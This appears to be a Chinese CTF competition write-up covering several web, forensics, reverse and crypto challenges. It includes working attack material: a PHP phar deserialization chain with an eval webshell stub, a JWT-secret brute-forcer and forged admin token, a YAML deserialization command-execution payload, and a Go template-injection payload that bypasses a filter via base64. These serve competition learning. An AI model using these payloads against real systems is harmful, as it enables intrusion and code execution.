前言
本来早都写好了,官方WP提交截止时间是昨晚九点半,懒得等了,今早发吧,整体题目还是比较有意思的。
Ez_readfile
php反序列化利用phar协议绕过waf写入webshell
析构函数中根据 $mode
值做不同操作:
'w'
: 把 $_POST[0]
写入一个随机 .phar
文件(可能用于 PHAR 反序列化)。
'r'
: include($_POST[0])
—— 文件包含漏洞
构造利用链
需要绕过正则,常用协议无法使用,这里使用glob协议
Nimbus` 被反序列化 → 析构时调用 `$this->handle()`
→ `$a->handle` 是 `Nimbus` 实例 → 调用 `Nimbus::__invoke()
根据利用连构造EXP如下
<?php
class Coral { public $pivot; }
class Nimbus { public $handle; public $ctor; }
class Zephyr { public $target; public $payload; }
@unlink("phar.phar");
$a = new Nimbus();
$a->handle = new Nimbus();
$a->handle->handle = new Zephyr();
$a->handle->handle->target = new Coral();
$a->handle->handle->target->pivot = new Nimbus();
$a->handle->handle->target->pivot->ctor = "DirectoryIterator";
$a->handle->handle->payload = "glob:///*fl*";
echo serialize($a);
$phar = new Phar("phar.phar");
$phar->startBuffering();
$phar->setStub("<?php eval(\$_GET[1]); phpinfo(); __HALT_COMPILER(); ?>");
$phar->setMetadata($a);
$phar->addFromString("test.txt", "test");
$phar->stopBuffering();
?>
使用gz压缩绕过WAF
D:\phpstudy_pro\WWW>python 1.py
%1F%8B%08%00%1Em%BEh%02%FF%B3%B1/%C8%28PH-K%CC%D1P%89ww%0D%896%8C%D5%B4V%00%8Ae%E6%A5%E5k%00%99%F1%F1%1E%8E%3E%21%F1%CE%FE%BE%01%9E%3E%AEA%20%21%7B%3B%5E.%1DF%06%06%20b%10d%80%D0%0C%0C%DF%80%D8%DF%CA%CCJ%C9/37%A9%B4X%C9%CA%C8%AA%BA%18%C4%CFH%CCK%C9IU%B2%26%2C%19%95Z%90QY%84%90%2CI%2CJO-%01I%9AZ%299%E7%17%25%E6%28Y%19%82%E4%80%DC%82%CC%B2%FC%12%02%86%FAY%17%5B%99X%29%25%97%E4%17%29%01%99%86%E6VJ.%99E%A9%20~%A5gIjQ%22X%A2%B6%B6%D8%0A%28S%90X%99%93%9F%98%02Vhd%A5%94%9E%93%9Fd%A5%AF%AF%AF%95%96%A3%05T%83d%90%1F%3A%8F%03%E8%F3%92%D4%E2%12%BD%92%8A%12%16%20%5B4w_%06%88%E6%A9%AB%BF%B1%0D%128%60%F9%03%ADO%96%AB%CChk%BDz3%3F%5D%ADrJ%FE%91%DE%2B%C6L%409w%27_%27%00%3C%AA%2BO%88%01%00%00
POST上传文件,出发phar反序列化

读取文件

尝试写入webshell,进行命令执行,

可以查看当前目录,发现存在backup的定时文件,创建软连接到backup目录下读取flag文件。

EZ_python
考察点:JWT伪造爆破
yaml文件正则过waf文件上传进行命令执行
任意伪造jwt会报错密钥前缀,构造py爆破密钥
# brute_jwt.py
import jwt
import string
import itertools
# 你的 JWT
jwt_token = "eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VybmFtZSI6Imd1ZXN0Iiwicm9sZSI6InVzZXIifQ.karYCKLm5IhtINWMSZkSe1nYvrhyg5TgsrEm7VR1D0E"
# 密钥前缀(直接写 %)
secret_prefix = "@o70xO$0%#qR9#"
# 字符集
charset = string.ascii_letters + string.digits # a-z, A-Z, 0-9
print("🚀 开始爆破密钥...")
for suffix in itertools.product(charset, repeat=2):
secret = secret_prefix + ''.join(suffix)
try:
# 尝试解码
decoded = jwt.decode(jwt_token, secret, algorithms=['HS256'])
print(f"\n✅ 成功!密钥为:{secret}")
print(f"Payload: {decoded}")
break
except jwt.InvalidTokenError:
continue
else:
print("❌ 未找到密钥")
获取到密钥构造admin权限的token进行文件上传
# sign_admin.py
import jwt
# 已知信息
secret = "@o70xO$0%#qR9#m0" # 原始密钥(直接写 %)
old_jwt = "eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VybmFtZSI6Imd1ZXN0Iiwicm9sZSI6InVzZXIifQ.karYCKLm5IhtINWMSZkSe1nYvrhyg5TgsrEm7VR1D0E"
# 新的 payload
new_payload = {
"username": "admin",
"role": "admin"
}
# 使用 HS256 算法重新签名
new_token = jwt.encode(new_payload, secret, algorithm='HS256')
print("✅ 成功生成 admin JWT:")
print(new_token)
获取到正确的token上传

文件上传的时候报错

只有内容为python的内容才能直接运行,回显为run,猜测后端代码使用method=python,前端依旧可以上传yaml文件,构造脚本常看回显,先使用ls -l查看当前路径下的文件,在读取f111ag
# send_yaml.py
import requests
url = "http://web-d4c6da270e.challenge.xctf.org.cn/sandbox"
headers = {
"Authorization": "Bearer eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VybmFtZSI6ImFkbWluIiwicm9sZSI6ImFkbWluIn0.-Ws9e4GwaL0hesqjmSuOKNmyximBStder-7VnXK0w70"
}
# 上传 YAML 文件
files = {
'codefile': ('exploit.yaml', '''
run: !!python/object/apply:subprocess.getoutput
- cat /f1111ag*
''', 'text/yaml'),
'mode': (None, 'yaml') # 注意:mode 可能是 'yaml' 或 'yml'
}
r = requests.post(url, files=files, headers=headers)
print("📡 状态码:", r.status_code)
print("📜 响应内容:")
print(r.text)

SilentMiner
攻击者IP auth.log
下攻击者进行ssh爆破

攻击者共进行多少次ssh口令爆破失败?
实际上搜索出的是257次,实际上答案是258,我说咋一直不对,最后随手改的竟然提交对了,这个应该是答案错了

后门文件路径的绝对路径是什么?
sshd文件被修改并且重启了ssh服务

攻击者用户分发恶意文件的域名是什么?(注意系统时区)
/bar/log/dnsmasq.log中的dns域名进行检索,最终确定为


挖矿病毒所属的家族是什么?
通过恢复恢复tmp目录下文件进行解密找到加密的病毒家族kinsing

CheckWebshell
流量分析比较简单,语法搜索字符串找到flag.txt

返回包是内容,发现flag为sm4的国密算法求解得到flag
<?php
class SM4 {
const ENCRYPT = 1;
private $sk;
private static $FK = [0xA3B1BAC6, 0x56AA3350, 0x677D9197, 0xB27022DC];
private static $CK = [
0x00070E15, 0x1C232A31, 0x383F464D, 0x545B6269,
0x70777E85, 0x8C939AA1, 0xA8AFB6BD, 0xC4CBD2D9,
0xE0E7EEF5, 0xFC030A11, 0x181F262D, 0x343B4249,
0x50575E65, 0x6C737A81, 0x888F969D, 0xA4ABB2B9,
0xC0C7CED5, 0xDCE3EAF1, 0xF8FF060D, 0x141B2229,
0x30373E45, 0x4C535A61, 0x686F767D, 0x848B9299,
0xA0A7AEB5, 0xBCC3CAD1, 0xD8DFE6ED, 0xF4FB0209,
0x10171E25, 0x2C333A41, 0x484F565D, 0x646B7279
];
private static $SboxTable = [
0xD6, 0x90, 0xE9, 0xFE, 0xCC, 0xE1, 0x3D, 0xB7, 0x16, 0xB6, 0x14, 0xC2, 0x28, 0xFB, 0x2C, 0x05,
0x2B, 0x67, 0x9A, 0x76, 0x2A, 0xBE, 0x04, 0xC3, 0xAA, 0x44, 0x13, 0x26, 0x49, 0x86, 0x06, 0x99,
0x9C, 0x42, 0x50, 0xF4, 0x91, 0xEF, 0x98, 0x7A, 0x33, 0x54, 0x0B, 0x43, 0xED, 0xCF, 0xAC, 0x62,
0xE4, 0xB3, 0x1C, 0xA9, 0xC9, 0x08, 0xE8, 0x95, 0x80, 0xDF, 0x94, 0xFA, 0x75, 0x8F, 0x3F, 0xA6,
0x47, 0x07, 0xA7, 0xFC, 0xF3, 0x73, 0x17, 0xBA, 0x83, 0x59, 0x3C, 0x19, 0xE6, 0x85, 0x4F, 0xA8,
0x68, 0x6B, 0x81, 0xB2, 0x71, 0x64, 0xDA, 0x8B, 0xF8, 0xEB, 0x0F, 0x4B, 0x70, 0x56, 0x9D, 0x35,
0x1E, 0x24, 0x0E, 0x5E, 0x63, 0x58, 0xD1, 0xA2, 0x25, 0x22, 0x7C, 0x3B, 0x01, 0x0D, 0x2D, 0xEC,
0x84, 0x9B, 0x1E, 0x87, 0xE0, 0x3E, 0xB5, 0x66, 0x48, 0x02, 0x6C, 0xBB, 0xBB, 0x32, 0x83, 0x27,
0x9E, 0x01, 0x8D, 0x53, 0x9B, 0x64, 0x7B, 0x6B, 0x6A, 0x6C, 0xEC, 0xBB, 0xC4, 0x94, 0x3B, 0x0C,
0x76, 0xD2, 0x09, 0xAA, 0x16, 0x15, 0x3D, 0x2D, 0x0A, 0xFD, 0xE4, 0xB7, 0x37, 0x63, 0x28, 0xDD,
0x7C, 0xEA, 0x97, 0x8C, 0x6D, 0xC7, 0xF2, 0x3E, 0x1A, 0x71, 0x1D, 0x29, 0xC5, 0x89, 0x6F, 0xB7,
0x62, 0x0E, 0xAA, 0x18, 0xBE, 0x1B, 0xFC, 0x56, 0x36, 0x24, 0x07, 0x82, 0xFA, 0x54, 0x5B, 0x40,
0x8F, 0xED, 0x1F, 0xDA, 0x93, 0x80, 0xF9, 0x61, 0x1C, 0x70, 0xC3, 0x85, 0x95, 0xA9, 0x79, 0x08,
0x46, 0x29, 0x02, 0x3B, 0x4D, 0x83, 0x3A, 0x0A, 0x49, 0x06, 0x24, 0x1A, 0x47, 0x5C, 0x0D, 0xEA,
0x9E, 0xCB, 0x55, 0x20, 0x15, 0x8A, 0x9A, 0xCB, 0x43, 0x0C, 0xF0, 0x0B, 0x40, 0x58, 0x00, 0x8F,
0xEB, 0xBE, 0x3D, 0xC2, 0x9F, 0x51, 0xFA, 0x13, 0x3B, 0x0D, 0x90, 0x5B, 0x6E, 0x45, 0x59, 0x33
];
public function __construct($key) {
$this->setKey($key);
}
public function setKey($key) {
if (strlen($key) != 16) {
throw new Exception("SM4");
}
$key = $this->strToIntArray($key);
$k = array_merge($key, [0, 0, 0, 0]);
for ($i = 0; $i < 4; $i++) {
$k[$i] ^= self::$FK[$i];
}
for ($i = 0; $i < 32; $i++) {
$k[$i + 4] = $k[$i] ^ $this->CKF($k[$i + 1], $k[$i + 2], $k[$i + 3], self::$CK[$i]);
$this->sk[$i] = $k[$i + 4];
}
}
public function encrypt($plaintext) {
$len = strlen($plaintext);
$padding = 16 - ($len % 16);
$plaintext .= str_repeat(chr($padding), $padding);
$ciphertext = '';
for ($i = 0; $i < strlen($plaintext); $i += 16) {
$block = substr($plaintext, $i, 16);
$ciphertext .= $this->cryptBlock($block, self::ENCRYPT);
}
return $ciphertext;
}
private function cryptBlock($block, $mode) {
$x = $this->strToIntArray($block);
for ($i = 0; $i < 32; $i++) {
$roundKey = $this->sk[$i];
$x[4] = $x[0] ^ $this->F($x[1], $x[2], $x[3], $roundKey);
array_shift($x);
}
$x = array_reverse($x);
return $this->intArrayToStr($x);
}
private function F($x1, $x2, $x3, $rk) {
return $this->T($x1 ^ $x2 ^ $x3 ^ $rk);
}
private function CKF($a, $b, $c, $ck) {
return $a ^ $this->T($b ^ $c ^ $ck);
}
private function T($x) {
return $this->L($this->S($x));
}
private function S($x) {
$result = 0;
for ($i = 0; $i < 4; $i++) {
$byte = ($x >> (24 - $i * 8)) & 0xFF;
$result |= self::$SboxTable[$byte] << (24 - $i * 8);
}
return $result;
}
private function L($x) {
return $x ^ $this->rotl($x, 2) ^ $this->rotl($x, 10) ^ $this->rotl($x, 18) ^ $this->rotl($x, 24);
}
private function rotl($x, $n) {
return (($x << $n) & 0xFFFFFFFF) | (($x >> (32 - $n)) & 0xFFFFFFFF);
}
private function strToIntArray($str) {
$result = [];
for ($i = 0; $i < 4; $i++) {
$offset = $i * 4;
$result[$i] =
(ord($str[$offset]) << 24) |
(ord($str[$offset + 1]) << 16) |
(ord($str[$offset + 2]) << 8) |
ord($str[$offset + 3]);
}
return $result;
}
private function intArrayToStr($array) {
$str = '';
foreach ($array as $int) {
$str .= chr(($int >> 24) & 0xFF);
$str .= chr(($int >> 16) & 0xFF);
$str .= chr(($int >> 8) & 0xFF);
$str .= chr($int & 0xFF);
}
return $str;
}
}
try {
$key = "a8a58b78f41eeb6a";
$sm4 = new SM4($key);
$plaintext = "flag";
$ciphertext = $sm4->encrypt($plaintext);
echo base64_encode($ciphertext) ; //VCWBIdzfjm45EmYFWcqXX0VpQeZPeI6Qqyjsv31yuPTDC80lhFlaJY2R3TintdQu
} catch (Exception $e) {
echo $e->getMessage() ;
}
?>
hardtest
Ai可以直接出,入口

关键函数是sub_13E1 以及常量 byte_2120

以及函数 sub_12A9、sub_1313、 sub_12DE 和常量 byte_2020

这些关键的给 AI 就直接出结果了

Minigame
考点: 微信小程序解包,map 文件解包,wasm 还原
是一个微信小程序用 wxapkg 解包 ,然后把解包得到的 chunk_0.appservice.js.map 再次解包

可以发现核心在 utils/validator.js 中 ,在 util 目录发现了 validator.wasm ,然后通过工具 wasm-decompile
export memory a(initial: 258, max: 258);
data d_a(offset: 1024) =
"\ff\f5\f8\fe\e2\ff\f8\fc\a9\fb\ab\ae\fa\ad\ac\a8\fa\ae\ab\a1\a1\af\ae\f8"
"\ac\af\ae\fc\a1\fa\a8\fb\fb\ad\fc\ac\aa\e4";
export function c(a:ubyte_ptr):int { // func0
var e:int;
var b:int_ptr;
var d:int;
var c:ubyte_ptr;
if ({
d = a;
if (eqz(d & 3)) goto B_c;
0;
if (eqz(a[0])) goto B_a;
loop L_d {
a = a + 1;
if (eqz(a & 3)) goto B_c;
if (a[0]) continue L_d;
}
goto B_b;
label B_c:
loop L_e {
b = a;
a = b + 4;
if (
((16843008 - (e = b[0]) | e) & -2139062144) == -2139062144) continue L_e;
}
loop L_f {
a = b;
b = a + 1;
if (a[0]) continue L_f;
}
label B_b:
a - d;
label B_a:
} !=
38) {
return 0
}
loop L_h {
a = c[1024] ^ (c + d)[0]:byte;
b = a == 153;
if (a != 153) goto B_i;
c = c + 1;
if (c != 38) continue L_h;
label B_i:
}
return b;
}
export function b() { // func1
}
把这两个代码给AI就可以直接得到 flag

Newtrick
考点:对称加密算法和离散对数问题
由于有根据源码直接推出解密脚本
from hashlib import md5
from Crypto.Cipher import AES
p =
115792089237316195423570985008687907853269984665640564039457584007913129639
747
F = GF(p)
Q = (123456789, 987654321, 135792468, 864297531)
N_Q = F(sum(x * x for x in Q))
R = (
535805042719399545796962826381600584293083019277531395431476058825743363271
45,
799913182452098376229457194675627969511376052122949799764791997934539620908
91,
531268698891810405870372104622761160960325946775601453062691481560347571601
28,
973680242303063998595227832922465096998302542946496684346049712134964678571
55
)
N_R = F(sum(x * x for x in R))
try:
secret = discrete_log(N_R, N_Q, bounds=(0, 2^50))
print("[+] Secret found:", secret)
except Exception as e:
print("[-] discrete_log failed:", e)
secret = 895942422329
key = md5(str(secret).encode()).digest()
cipher = AES.new(key, AES.MODE_ECB)
try:
flag = cipher.decrypt(encrypted_flag)
print("[+] Flag:", flag)
except Exception as e:
print("[-] failed:", _e)
SSTi模板注入,golang的SSTI,执行
回显
map[B64Decode:0x6ee380 exec:0x6ee120]
直接执行

能够执行id,但是其余的其它命令基本都无法执行,猜测后端代码WAF拦截直接输出原字符串,尝试绕过WAF
可以成功回显hello,直接使用B64Decode绕过,构造payload读取flag
{{B64Decode "Y2F0IC9mbGFn" | exec}}
